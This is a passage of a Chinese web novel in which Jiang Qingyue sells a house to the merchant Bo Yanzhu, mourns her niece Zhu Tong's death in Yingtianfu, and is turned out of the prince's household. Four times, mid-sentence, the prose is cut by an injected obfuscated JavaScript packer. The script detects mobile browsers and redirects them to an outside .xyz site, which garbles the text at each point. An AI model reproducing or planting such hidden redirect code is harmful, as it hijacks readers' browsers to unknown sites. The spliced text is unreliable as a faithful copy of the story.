“特殊时期自然特殊对待之，要单独照看一个几乎不能自理的病人，这可不是一两银子月钱就能打发的。”江清月知道自己这处攻心计有了成效，于是便趁热打铁说道：“至于其他人，南下这一趟的坎坷，我自然是知道的，待安稳回了盖州卫，我会亲自给你们发红包，可在那之前，我不希望听见有任何人喊苦喊累，或是临阵脱逃，做得到么？” 一听见有打赏，众人便吊起十二分精神，纷纷争着要做活路，可一时半会儿又没有那么多事情要忙，于是便在门外走廊来回踱步，一听见风吹草动便凑上去，表明态度。 所有人之中，唯独兰姑的神色有些复杂，几次三番想要找江清月单独说说话，却被殷勤的其他人给打断，最终只好不了了之。 江清月最初的计划是一口气赶回盖州卫的康县郡王府，许多事情她自认为还做不了主，希望能请示江氏后再想法子。 可朱潼的病情恶劣之程度是江清月始料未及的，石大夫几乎下了猛料，可她却没有一点儿要好的迹象，海船的颠簸更是为她原本就虚弱不已的身体带去额外负担，原本皮脂凹陷的脸颊变得又红又肿，似乎一针下去就会像气球似地泄气，令亲眼见过的人都心疼不已。 一日，珠儿在为朱潼擦洗时，惊觉不妙，连连唤来石大夫，发现她的脉搏已经十分衰弱，呼吸也变得缓慢，他很是心惊，同江清月商量对策：“这样下去，怕是撑不到抵达的那一日。” 于是刚驶离刘家港的海船不得不折返回港，阿康连忙将朱潼背下船，一行人快马加鞭，一刻不停地赶去应天府最好的医馆。 “恐怕我们要在应天府住一段时日了。”江清月看着大夫凝重的神情，一刻不敢停，将事情吩咐了下去。 “兰姑，你身上保管有多少银两？” “估摸着还有二十几两。” “应该足够了。灵玲，你同兰姑一起去附近寻个合适的住处，让小厮将我们的行李搬去客栈，这些东西总在医馆放着，不像话。” “好的，姑娘。” “花芸，你立即着手写一封书信……算了，还是我亲自来写。” 江清月连忙抄起医馆记账用的纸和墨，顾不得字迹如何，洋洋洒洒记下医馆的地址以及目前的状况，郑重叠好后交给花芸，“你去街上打听打听，找一家靠谱的镖局，请他们以最快的速度将信送达康县郡王府。” “月姑娘，我现在就去。” “珠儿，潼姐儿的情况你最清楚，你和阿康就留在医馆继续照顾着她，听从大夫的安排。” 江清月看着病榻上的朱潼，心中酸涩不已，甚至宁愿躺在那里的人是自己，也不要是她。 可在这里干站着，朱潼的病并不能好起来，而她们其他人却有可能陷入困境。江清月只好压抑自己的担忧情绪，背过身去，对着一旁的阿福说道：“你同我出去一趟。” 有件燃眉之急的事情亟待解决。 江氏曾安排的是：江清月一行人至广州府，当下便可从钱庄支取五百两银子，之后每月可再领一百两，因已有府邸，仅看病、吃喝、出行，甚至加上人情打点，都应十分充裕。 可突发事件接踵而至，光是临时包船返回辽东就足足付了一百两银子，再加上一路舟车，以及其他零零总总的条目，该花的、不该花的都掏了出去，如今手上只剩下五十两银子。 拢共八口人等着生活，其中还有一病人，江清月不知会在这人生地不熟的应天府待多久，她心中没底，又不敢在下人面前露怯，恐弄得人心惶惶，只能悄悄带着比较顿感一些的阿福出来打听当地的牙行。 江清月心中暗想，若是能快速处理掉广州府的那套宅子，就能再宽裕一段时日，至少可以撑到康县郡王府了解情况，做出应对，她们便不会如此拮据。 “阿福，你同我一起去茶楼里打听打听，看看周围可有靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047616|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谱的牙行。” “姑娘要买卖什么东西么？” “广州府那套宅子看样子是用不上了，与其落在那边生灰，不如换成银票放身上，我们吃住能够更充裕些。” 阿福是个憨厚人，向来不多思考，说道：“还是月姑娘考虑的周全。” 原先在盖州卫，江清月常年幽闭于家中，鲜少出门，即使出行，身旁必伴随着江氏或朱潼，不会单独在外找乐子，更别提在这人生地不熟的茶馆里饮茶听评书。 虽也像模像样点了几壶茶、一些甜腻的点心，好似融入了周围环境中去，可江清月听不懂人们之间交谈的话语，那些像唱曲似的音调，对她来说完全是另一门语言体系。 可她心里又担心，若是同这些人讲官话，他们见她是个外地来的、身上又带着不少钱财，坑她一笔都是小事，就怕被拐骗了去，还不知道怎么回事。 一番思想斗争后，江清月一拍桌子，自言自语道：“连找个牙行都这么畏首畏脚，真要卖的时候岂不还纠结个几天。” 旁边人听见，扭过头说道：“前面直走再左拐，就是牙行一条街，你上哪儿去看呗。” 江清月朝那人点了点头，表情却有些僵硬。 阿福以为这就是江清月的计谋，佩服的神情溢于言表，说道：“没想到月姑娘的手段如此简单又实用，原来很多事还可以如此解决。” “笨阿福，这和在街上随便拉一个人来问，有何区别？白白花了喝茶的钱。” 江清月心里虽如此想着，但碍于面子，脸上挤出一丝不好意思的微笑，默默收下他的夸赞。 两人快步来到所谓的牙行一条街，实际上就是五家牙行像“红花”一样点缀在繁茂的街市里。 江清月站在门口随意打量起各家店，挑了家最有派头的牙行，大步跨了进去。 “老板，我要卖一套宅子。” “什么地段，什么街？哪家人的府邸？” “不在应天府，是广州府的一套小院。” 丰腴的老板推了推金丝眼镜，将江清月打量了一番，“非熟客，不办理跨区域业务。” “可我手持的是加盖官章的红票，清清楚楚载明了一切详细内容，是非本地有何重要？” “夫人，您莫急，门外左转还有那么多些牙行，俗话说得好，货比三家嘛。”老板扯起嗓子用当地话喊到：“干什么？还不快来送客。” 江清月头一次出门在外吃瘪，忿忿道：“店大欺客。” 门外忽然走进一人，他手上提着一坛子新酒，猛地一提，一放，压在堂内的地毯上。 “唐老板，上次牙人带我去的间朝东的院子，能不能再便宜些？” 江清月顺着熟悉的声音看去，竟是上次在刘家港帮忙送信的渔夫。 “哎哟，二老，那可是新宅子，不到十年龄，清新雅致，想要的人排老长队去了！还不是咱俩关系好，特意给你留的，三百贯已经很良心了，我都不赚你的。” 江清月心中犯嘀咕，“谁是二老，他吗？” 9. 交易 博烟渚并未理会江清月的诧异，他定定地走向唐老板。 “那房子东屋三年前走水，换了木梁、刷了新漆，虽从外看上去与其他房屋无异，可终究是伤了根本，破了整屋运势，不敢住人，若要重修修缮，可是笔大开支。” 唐老板显然没有方才那么笃定，他问道：“那你的意思是，能给多少？” “两百贯。” “两百？你小子耍我呢，我出这价钱，你卖给我好不好？” 博烟渚没着急回答，他从腰间摸出一只酒葫芦，拔出塞子的瞬间，清香的口味丝丝萦绕着堂间，仅是闻上一闻便惹人心醉神迷。 “这次的梅子酒品质极好，只做了三坛，一坛给了玲珑郡主，另一坛给了岽仁镇国将军，最后这坛，赶在东街王叔围上门前给你搬了过来。” “当真？”唐老板接过那酒葫芦，先是嗅了嗅，呷了两口，“酸甜入喉，余韵绵长，确为好酒。” 博烟渚接过酒葫芦，摇了摇说道：“三大坛，我只留了这么一小壶。” 唐老板咂了咂嘴，又瞧了瞧地上那坛酒，他招手让店小二将酒抬回房内，即是默认了与博烟渚的交易。 “不过那房子早就差人装潢过一次，你是怎么知道那里走水过？” “听说我中意那套屋子，街坊邻居同我讲的。” “二老啊二老，我在应天府做了大半辈子生意，什么样的人都见过，却败在你这毛小子手里。” 两人谈笑时，店里陆陆续续来了其他客人，江清月退至一旁，既不离开，也不上前，她的眼睛四处打量，似乎正盘算做些什么事情。 又进来两名贵客，唐老板不得不上前招呼，博烟渚转头走进柜内，接过唐老板的手里的活，帮忙拟起票据。一旁的店员看着，已习以为常，纷纷绕过博烟渚，忙起其他事来。 江清月绕开店内走动的人群，默默走到博烟渚面前。她先是看了看周围，无比谨慎地取出那张广州府宅子的红票，摆在桌上，用砚台压住折起的一角。 “之前不知道你是博家二公子，言语多有得罪。”她低声道，“途中多有变故，我想卖掉广州府的这套宅子换现钱傍身用，可这里的老板并不做外乡的生意，想来你我二人既然相识一场，且见你同这里老板相熟，不知能否请你帮忙引荐？” 江清月见他不为所动，又忙补充道：“若二老能帮忙促成生意，必有重谢。” 博烟渚并非要得到这句“必有重谢”才愿意，听闻康县郡王府出行皆奢靡，不知为何如今差“丫鬟”来卖地契，心中有疑虑，于是想了片刻。 直到对方将那红票递到他手边，才仔细瞧起来，“你们在应天府，大致要住多长时间？” “这和买卖有关系么？” “就算是有人担保，牙行也要派牙人前往广州府，仔细勘察过，方才能给出估价。若是一砖一瓦都没见过，谁敢保证那里就有这样的府邸？还不如托人返回广州府，在当地找一家靠谱的牙行。” “这红票上盖的是官章，若有欺瞒是会吃牢狱之苦的，我既然敢大方摆出来，那便不可能有假。” “你说你可信，他人却未必觉得。”博烟渚将房契放在桌上，推至她的面前，“买卖房地非小事，岂能随意便答应。” 江清月叹了口气，以为博烟渚在羞辱自己，原本想和他理论一番，又想到家中生了病的朱潼，不愿多费口舌，收起票据便转身离开。 博烟渚隔着门口的细缝看着她的背影远去，低头写着字，心却飘出去，沉不下来做事。 “你去看看，刚才那人最终去了哪家牙行。” 大莊挠了挠脑袋，“哪人？” “绿袄子白裙，身旁跟了个灰脸的家丁。” “是咱们在船上遇到的——那个持郡王府威势，言语有些傲慢的丫鬟？” “她如此开口，想来确实有难处，若真是不闻不问……”博烟渚叹了口气，放下手中的纸笔，“大莊，你在这守着，我去看看便回。” 博烟渚绕过柜台，推门走了出去。街上人来人往，摩肩擦踵，纷纷忙着自己的事情，快步走过，临街口的巷道却不知因何缘故，忽然围起不少人，一圈一层包裹着，隔断人群的流动。 博烟渚艰难挤过人群，在其他牙行门口徘徊张望，却不见江清月的身影，心存疑虑，以为她打消了卖房子的念头，正准备返回时，无意间瞥见那堆围观者之中，站着位白脸绿袄的姑娘。 原来江清月接连问过几家牙行碰壁后，便知道此事做来并不容易，于是几乎是灵光一闪，差阿福上街买了张白纸，她亲自将房契信息整理于上，并标明了个足以吸引人注意的价格。 应天府少有此类行为，沿街果然有不少人驻足观看，但看的不是那房契，而是特立独行的江清月，纷纷议论起她为何人，为何做出这样的行为。 江清月并无意与谁争脸面，只是想着这附近定有许多前来买卖的人，挑中了这地儿而已，断然不知她的行为对本地的牙人来说，无异于砸人饭碗，甚至是公然挑衅他们。 不一会儿，消息便传遍了各牙行，有的派店员前来打探，有的干脆掌柜亲到场，原是互相较量的一行人，此时是前所未有的团结，低声商量着如何处理此事。 “不管找什么原由，先把人带走，再解决。” “对，再去告衙门，看看票子究竟有没有加盖印章。” “……” 博烟渚拍了拍阿福的肩膀，朝江清月说道：“刚刚没找着你，原来是在这里。” 江清月一脸狐疑。 “怕我看不清楚，你便写了这么大的字来寻我，真是费心了。”他一把卷起那张大纸，朝江清月使眼色，“天气炎热，去茶楼里坐着聊。” 掌柜的眼见是博家二老，问道：“二老，你不是在唐老板那里刚谈成一笔买卖，怎么又瞧上广州府的府邸了？” “做生意的，天南海北四处奔波，有合适的自然就想了解下。”他转移话题，凑近掌柜耳边问道：“对了，刘叔，昨日给你家送去的梅子酒，味道如何？” “你酿的自然是好。”掌柜捋了捋胡须，“你说你这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047617|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就酿了三坛，除了郡主和镇国将军外，给我送了这一坛，原想着什么样的品质能送进那等贵门之中，如此尝来，果真名不虚传。” “知道刘叔你爱品酒，特意留着的，不过……” “不过什么？”掌柜说道，“可有啥难处？” “应天府太多人等着喝这一坛，我给你送来了，旁的人便只能得个下乘的。” “我自己都舍不得喝，肯定不会告诉他人，来分我一瓢。” 博烟渚摆了摆手，拱手对江清月说道：“借一步说话。”三人步行至小巷中，才刻意停下。 “二公子，你这是何意？” “你家县主竟然让你在牙行门前张榜买卖，若事情传开，将来就再难在应天府找牙行了。” “好奇怪的话。” 江清月皱了皱眉，站定在石阶上。天边一束阳光透过砖瓦的缝隙落在她的后脑勺，她回想起上一世的庭审生涯，侃侃道： “当下，没有任何法律、制度禁止个人买卖房产，只需签订契约，去官府备案、缴纳税费、加盖印章即可。我着急出手，价格本就低，再减去牙行抽成的部分，虽有风险，但在如此的利好下依旧有人愿意了解。这一切仍归于常理之内，童叟无欺，你为何要像我做错事般，拉我离开那里？” 博烟渚双手抱臂，眼里有些异样的神情，暗暗地，似乎有些吃惊，说道：“话虽如此，情面上却不能……” “原来你不是来交易的。”江清月打断了他，“那就别耽误彼此时间，我得去寻下一个买家。” “应天府达官显贵如云，并非人人都知辽东盖州卫的康县郡王府。”博烟渚先一步离开了巷道，“你的招贴我收下了，你若真心想出售，就来南阳街宏福客栈找我。” “莫名其妙。” 干忙活了大半日，江清月几乎空手去空手回，还将此事弄得如此不体面。家中人人尽知她拉下脸面上街张榜，倒是豁出去了，预想中的收益却未得到。 兰姑将江清月拉至一旁，从腰间取下一小袋，小袋中装着红布，包裹着五十银两。 “江姑娘，我都听玉儿说了。”兰姑叠了叠红布，小心递给江清月，“潼姐儿正是用钱的时候，还请务必收下。” “这怎么行，这钱是我给玉儿的贺礼，再怎么困难，也没有将送出去的再收回来的道理。” “江姑娘，我是郡王府的下人，伺候两位姑娘是分内事，玉儿虽同郡王府无关系，可若是收主人家如此厚礼，会坏了礼数。若玉儿不同我说，独自收下了这钱，我更要责怪她不懂事。” 江清月缓缓坐在椅凳上，回忆起这几天的事，心里不是滋味。 “总以为之前已经活的够明白，却没想到处处碰壁，事事都做的不好。” 兰姑拉过江清月的手，语重心长地说：“姑娘是心好，这是任谁都知道的。” “好心办坏事，比坏心更坏。” 两人窃窃低语时，珠儿从医馆的厢房一路小跑至大堂，她弯腰扶墙，气喘吁吁说道：“江姑娘，四、四姑娘醒了！” 10. 低谷 江清月急忙赶至朱潼所在的厢房内。 “姨、姨母，你来了。” “你就别起来了，快躺下歇息。”江清月看着床榻上面如枯槁、身形消瘦的朱潼，鼻子一酸，两行泪滑过脸颊，她拿起一旁的扇子，轻轻扇着，口中暗哑重复道：“醒了就好，醒过来就好。” 朱潼已没力气转动脖颈，只能勉强抬起眼皮，两颗乌丸似的眼珠子上下翻动，打量着周围。 “这是，在哪儿？” “我们在应天府休养，待你好一些，我们便回盖州卫。” 朱潼时不时仍咳嗽两声，像要咳出肺似的，浑身都跟着颤动，就快把这副身躯震得散架。 “不回盖、盖州卫，我想去广州府，治腿疾。” 江清月背过脸去拭泪，尽量压抑住颤抖的情绪，说道，“大夫说，你的腿疾已经好了，现在只需要安心休养。” 朱潼的脸上挤出一丝笑。她的嗓子已经咳肿，每说一句话，都像吞刀子似的，索性点了点头，江清月便知道她的心，想要说些什么。 每个人都脸上都挂着两圈乌青，一连好几日，众人的情绪都被调动着，时刻不敢松懈。 一直到朱潼终于有了好转的迹象，大家才片刻放下心。 “珠儿，这几日你最是辛苦，这里由我和灵玲看着，你们其他人都去休息吧。”江清月从兜里掏出管家钥匙，叮叮当当地交给兰姑，“兰姑，你得空时去收拾下院子，说不定过几日，便要接潼姐儿回去住了。” “江姑娘，你好好照顾身子，四姑娘的病还未好利索，你可不能倒下了。” “想来我也照顾不了什么，只是在这陪陪潼姐儿罢了。”江清月挥了挥手，“去吧。” 那天夜里，久旱的应天府下起暴雨。从天要将黑时便看得出遍布的乌云，屋外的梧桐树叶被吹得翩翩起舞，窗户开了又关，关了又开，从缝隙里吹出呜呜的奏鸣曲。 这满屋子的家具原本用于医馆家的女儿陪嫁用的，但朱潼体弱又娇惯，实在睡不了木板床，于是便花了高价住进这新屋。 江清月坐在拔步床的床沿边，一手垂地，一手搭在床面上，轻轻握住朱潼的手。 “姑娘，您在这里待了几个时辰了，晚上就让灵玲伺候四姑娘，您回去休息吧。” 看着屋外的雷鸣电闪，一道道金光劈下，朱潼不自觉握紧拳头，浑身发冷颤，江清月见状，自是不肯离开。 “夜里刮风、下雨，天怕是会凉一些，灵玲，你替我找一床被褥，我在此将就歇息着。” “诺。” 顷刻间，雨滴便落下，先是淅沥沥的小雨，随后渐渐聒噪起来，豆大的雨滴打在青砖灰瓦上，发出密密麻麻的声响。 伴随着雨声的，还有那如同火药炸响似的雷声。 耀眼的白光闪过，即使闭上眼亦觉得自身在白昼，而轰鸣的响声却把人拉回现实，朱潼浑身冒着虚汗，虚声说道：“姨母，我怕。” 江清月推开身上的被褥，站起身来，她半躺了上去，从背后环抱着朱潼，右手轻拍着她的胳膊，唱起摇篮曲来。 “潼姐儿不怕，我在你身边。” 两人紧紧贴在一起，最终随着雷声、雨声渐小而昏昏睡去。 直到第二日清晨，灵玲推门进来替江清月时，她才从睡梦中醒来。 江清月的手臂被压麻了，但她见朱潼睡得香甜，便不忍心打扰。 她想给朱潼盖上被子，手指触碰到对方的手臂时，江清月心里顿感不妙，立即翻身坐了起来，轻轻摇晃着朱潼的身子。 “潼姐儿，天亮了，该醒来了。” 她一面哭，一面摇着。 灵玲吃惊，跑到屋外大喊着大夫，原本昏暗的厢房点上蜡烛，三五人挤进这间小小的、原本应该是喜庆的屋子内。 江清月悲怆得难以自已，全然没有她想象的那般成熟，至少还不足以淡然面对至亲至爱的离世，她声泪俱下，几近歇斯底里，任凭灵玲如何扶她，她都不肯离开床榻。 她将头和脸深深埋在朱潼的背后，紧紧抱着她已经有些僵硬的身体。 她原本应该害怕这样的场景，但不知为何，此刻却紧抓住不放，就好像只要不动手，朱潼就不会真的离去似的。 “姑娘，该放手了，让四姑娘好好休息吧。” 兰姑赶到现场时，屋内已经挤满了人，他们见惯了生死，却仍为他人的逝去而伤感。 江清月的泪已经流尽了，她抹了抹脸颊，定定地坐起身来，看着周围的一切，顿时觉得是如此的陌生。 她几乎没有迟疑，像是下定了什么决心似的，头也不回离开了那间屋子，但身体还未适应，于是一路上走的跌跌撞撞、东倒西歪，勉强扶着墙或是被搀扶，才不至于摔倒在地。 虽然身体未倒下，但江清月的意志已然全军覆没。 这段时间，她并不是从未想过最坏的结果，或许是昨日的回光返照给了她错觉，以至于希望破灭之后，江清月的力气也同那浮游的寄托一同被抽走了。 她不知自己如何被抬回了府上，也不知浑浑噩噩躺在床上有多久，江清月甚至不明白那几日她为何想个不停，事后却又不记得想过什么。 在那期间，兰姑代替了江清月承担下许多事，其他人——花芸、珠儿、灵玲、阿康与阿福，均安心应从，陪伴在她身旁，按部就班做起分内事。 兰姑虽能应付大多数事情，可有一件事，她无权决定，却又亟待解决。 那便是如何处理朱潼的后事。 应天府气候炎热，尸身无法存放太久，兰姑曾向船家打听，仅靠她们手上那点银两，绝无可能将一具正在腐坏的躯体一路运至辽东。 她们做不了决定，可江清月又一蹶不振，情况最终陷入两难。 “你们照顾好姑娘。” 兰姑留下这句话后便走了，只留下几个年轻的丫鬟。花芸有些担忧，将此话讲给江清月听了去，她却耷拉着眼皮，面无表情，眼神空洞。 半日后，兰姑带着一脸疲意回到这个灰尘遍布的院子中，从腰间翻出几张银票，交给江清月。 “江姑娘，我这还有些银票，我们先带四姑娘回辽东吧。” 江清月的眼泪在眼眶里打转，她微微抬起头，目光里终于恢复了一丝生机，又低头看向那几张银票，说道：“兰姑，这是从哪里来的？” “女婿家是绸缎庄户，虽规模不大，但好歹有些储蓄，比平常人家充裕些。”兰姑说道：“姑娘不用担心，我是以自己的名义向他们借的，不会对郡王府有什么影响。” “这里唯一同康县郡王府有关的人已不在，那些虚名也不必在意。”江清月低声道：“兰姑，这份情我记下了，待回到辽东，我定然双倍奉还。” “潼儿受了太多苦，我不想再让她遭受海船的颠簸。”江清月站起身来，“兰姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047618|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你去帮我打听一下，将她葬在应天府吧。” “可郡王妃那儿如何交差？”兰姑欲言又止，”哎，目前想来也只有这个法子了，我这就去办。” “安顿好这一切后，我自会跟阿姊交代。”江清月环顾四周，嘱咐道，“珠儿，这几个丫鬟中你最年长，也最可靠。我要出去办件事，不知多久能回来，在那之前，你来协助兰姑，处理府上的事务。” “好的，姑娘。” 江清月对着铜镜理了理头发，无心打扮，换了身衣服便去了南阳街。 因心里怀着愧疚和悔恨的复杂情绪，她这一路上都低着头，右手紧攥着左腕，任谁看也不像是康显郡王府出来的江二小姐。 “敢问这里可是宏福客栈？” “来者何人？” “江氏，有要事同博家二老相商。” “二老不在客栈。” “他何时回？我当真有重要的事要拜托他。” 跑堂上下打量了一番，以为她是走投无路的破落户，在江湖上听闻了博烟渚乐善好施的事，也前来撒泼混口饭吃，所以言语中多少有些戏谑。 “二老为人正直，行侠仗义，但也不是什么闲事都管。他一早离开，说不准何时回，你要等，便到一旁去等。” 江清月叹了口气，侧身站在离客栈大门几尺旁的荫蔽下。 烈日当空，炎炎之光灼烧着皮肤，不一会儿就变得通红、发烫，浑身渗出密密麻麻的汗，浸湿了衣裳，也模糊了视线。 江清月的呼吸变得沉重，身体虚弱无比，仿佛风轻轻一吹便能倒下。 只要稍微开口，请求跑堂让她进去坐坐，即使被拒，处境也不会比现在更难过。可她却似乎有意让自己痛苦，仿佛这样的感觉源自忏悔。 她慢慢扶着墙壁，双手抱膝，蹲了下来。 不知过了多久，几乎是半夜三更，博烟渚才匆匆回到客栈。 江清月从僵硬的躯体舒缓过来，从阴影中一把拉住他的衣角，迫使他停了下来。 “是你，你怎么在这儿蹲着？”博烟渚似有些吃惊，连忙差手下将她扶进客栈，“三伏天，即使夜晚也难避暑热侵袭，若是中热又倒在这无人之地，恐有性命之忧。” 江清月并未回应，只说出心里一直准备着的话。 “上次二公子说，要买下广州府的府邸，此言当真？” “有康显郡王府的名声做担保，我自然也是愿意的。” 江清月从衣袖里掏出那张有些被汗浸湿的红票，放在桌上捋了捋，“如今我带来了，二公子能否兑现诺言。” 博烟渚凝眉看着那票子，又抬眼看看江清月，只见她面容憔悴，虽刻意整理过衣衫，却还是看得出仓促。 “大莊，回房间取银票出来。” “公子，这会不会有些太草率了？”大莊俯于耳旁说道，“万一她是偷来的房契怎么办？要不要跟郡王府的县主确认一下？” 博烟渚心想，原本应去广州府的一行人，莫名出现在应天府，县主家“丫鬟”如此东奔西走，心力交瘁，而县主却不现身，想来就是县主本人遇到了什么麻烦事，她的手下才如此焦头烂额，甚至慌不择路。 “两百五十贯，就当是我同郡王府之间的人情，即使是越俎代庖，他们也不得不领。” 江清月收下这样一笔“巨款”，仅留下一句淡淡的感谢，没有丝毫懈怠，立即赶了回去。 11. 返乡 出殡那日，应天府城郊下起大雨，淅沥沥的雨点浇湿泥土地，沾湿过路人的衣摆，染上难看的褐棕色。 原本就闷热的天，再下了雨后，云雾迷腾，萦绕在山间，化成黏腻的汗，贴在人们的皮肤上。 江清月站在队伍的前列，缌麻白衣带一如那白纸长条幡摆动，手里紧紧攥着那只尚有余香的荷包。 她为朱潼挑选了一块靠水背山的地方，三把金钗作陪葬品，用四重髹漆套棺安葬之。 仪式则从简，除了必要的主持丧葬的大师，便只有江清月和兰姑她们在场。应天府再无外人知晓，小小的土包之下，有位异乡的豆蔻少女安眠于此。 来时，她们乘着郡王府包下的远洋客船，满怀希望；返时，身上所剩无几，只能夹在货船的仓间，同一堆镖箱、货物挤在一起，勉强入睡。 “姑娘，我听舟师说，今日便能到金州卫，我们上岸后换马车出行，再两日就到郡王府。” 江清月点了点头，越是靠近盖州卫，她便越发不安。 她不敢只寄一封丧信回府，更是不敢想象江氏得知此事后该如何渡过这心坎，只能日日夜夜忧思，人都消瘦了几番。 “兰姑，我的心仿佛被撕碎了，既感到悲伤，又不自觉思虑万分。痛苦不仅在于潼儿的离去，还有难以面对阿姊时的担忧。”江清月顿了顿，“可我总觉得，这样似乎不太对，好像我是出于愧疚，才会如此难过。” “这次的事是天灾，谁都无法预料到的，郡王妃明事理，即使再悲痛，也不会迁怒于姑娘的。” “我并非怕被责怪。”江清月低垂着眼眸，“哎，我也搞不清楚我自己。” 回到盖州卫时已是夜深。 康显郡王府本就偏离闹市，四周无人，加之家丁开了后门，几乎无外人知晓江清月一行人已回到府上。 当报信说要提前返回家中时，江氏心中便有了不好的预感，一连好些时日寝食难安，疑心焦虑发作，严重时手指僵硬抽搐，几度呼吸不上来。 那夜她同家丁早早等候在后院，夜色朦胧下，本没看清江清月身着缌麻，尚可隔着稍远的距离交谈几句，直到看见她带着哭腔走近，江氏倒吸一口凉气，直接晕倒在地。 三五个丫鬟拉住郡王妃，连忙往房内送，又通知了休憩于西厢房的郡王爷，让他老人家半夜起来解决家长里短。 郡王爷身上还穿着睡袍，在“家事阁”内踱来踱去，抓耳挠腮，连连叹气，说道：“你是说，四丫头得了肺痨去世了？走的时候还好端端的，怎么就，哎！瞧你们办的什么事儿！” “父亲，生老病死，天道使然，凡人如何得以左右之？此趟南下，姨母费心费力，若将四妹妹的病故埋怨于她身上，寒了家人的心。” “家人？我和你母亲是你家人，兄弟姊妹是你家人，但江清月，不过是借住在我府上的外人，她姓江，不姓朱。” 大郎朱澈和李钦语低着头坐在一旁，生怕“战火”蔓延到自己头上。 “郡王爷要如何怨恨，或是责罚，我全盘接受，可眼下最重要之事，是要同阿姊商量如何处理潼姐的后事。我将她葬在应天府，旁的什么也没带回来，如何立碑、服丧，等处理好这一切，我自会从康县郡王府上离开。” “不必了。”郡王爷冷冷道，“这些事我自有安排，你收拾收拾，即日就搬出去吧。” 江清月木讷地抬起头，“我得等到阿姊……” “这就是江氏的意思，整个府上，最不愿见到你的就是她。亲姊妹害死了她最疼爱的女儿，她脾性软，对你不能打不能骂，你让她如何面对你？” 江清月不再争辩，像是被抽去力气，失魂落魄地跪在地上。 “不仅仅是你，这次南下的所有下人——兰姑和那几个丫鬟、家丁，也都一起赶出去算了，看着心里就堵。” 李善俪提醒道：“郡王爷，那几个下人当中有个是家生子，父亲是府上的吴管家，怕是不太好赶出去。” “那就连吴管家一起赶出去，堂堂郡王府难道还能缺管家不成？” “吴管家已经在府上做了二十多年了，熟悉家中各种事务，一时半会儿难以找人来替，再者若贸然赶出府，怕是要引外人非议。” 郡王爷想到这儿，散了口气，无奈道：“那就叫那个花什么的，在后院里好好待着，没事别在我眼前晃悠。” 天将亮未亮时，马车如何进的郡王府，又如何退了出来。 江清月一行人只能先住去康县郡王在城西的另一套府邸，原本是江氏买来给潼姐休养生息的临海小院，如今人去楼空，往日温暖美好的楼阁也变得冷清悲凉起来。 “害你们被赶出郡王府，我心里当真过意不去。”江清月拉着她们的手，站在空荡荡的堂屋内，“等过段时日，我得了应得的那份，自立门户后，若你们还肯跟着我，今后必然不会辜负任何一个人。” 珠儿拉着江清月的手，说道：“一旦被主人家赶出来，我们的名声也便不好了，有姑娘收留我们，自然是万般愿意的，不求富贵，但求细水长流。” 江清月点了点头，可未来何去何从，她心里却无从得知。 虽被“赶”出府，她却时时关注着府上的动向，尤其担心江氏，每日都派阿康阿福前去打听，可郡王府就像是无事发生一般，并未挂起白布条，一切照常。 “兰姑，是我糊涂了么？嫡女病故，为何康县郡王府却不像有丧的样子。” “我也觉得奇怪，会不会是那位郡王爷觉得脸上挂不住，便不对外声张了？” “这种事情，如何能瞒得住。” 咚咚咚，后门传来响动。 “谁会来敲这里的门？”兰姑一脸疑虑，快步至后院。 “王嬷嬷？您老人家怎么来这儿了？” “我带来点话，进去说吧。” 王嬷嬷坐定在堂屋内，先是聊了些家常，报了平安，几番铺垫后才谈起此番来的目的。 “郡王爷和郡王妃的意思是，四姑娘的事，就不要对外说了。”王嬷嬷语重心长地说，“当初郡王爷声势浩大地将女儿送去南边治病，十里八乡都知晓，赞颂郡王爷美德，若是如今告诉大家，四姑娘不仅病没好，命还丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047619|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在异乡了，只会招来许多莫须有的闲话。” “王嬷嬷，您说这话我有些听不明白，难道郡王爷要为了这莫名的名声，就不给潼姐超度、服丧？我们一行人过家不入被赶出府，难道这时就不顾及他人如何议论了？” “郡王爷那时忧思过度，许多事不能按常理来理解。郡王爷和郡王妃的意思是，同样不会声张将你们赶出府的事，对外就说是姑娘大了，想独立了。” 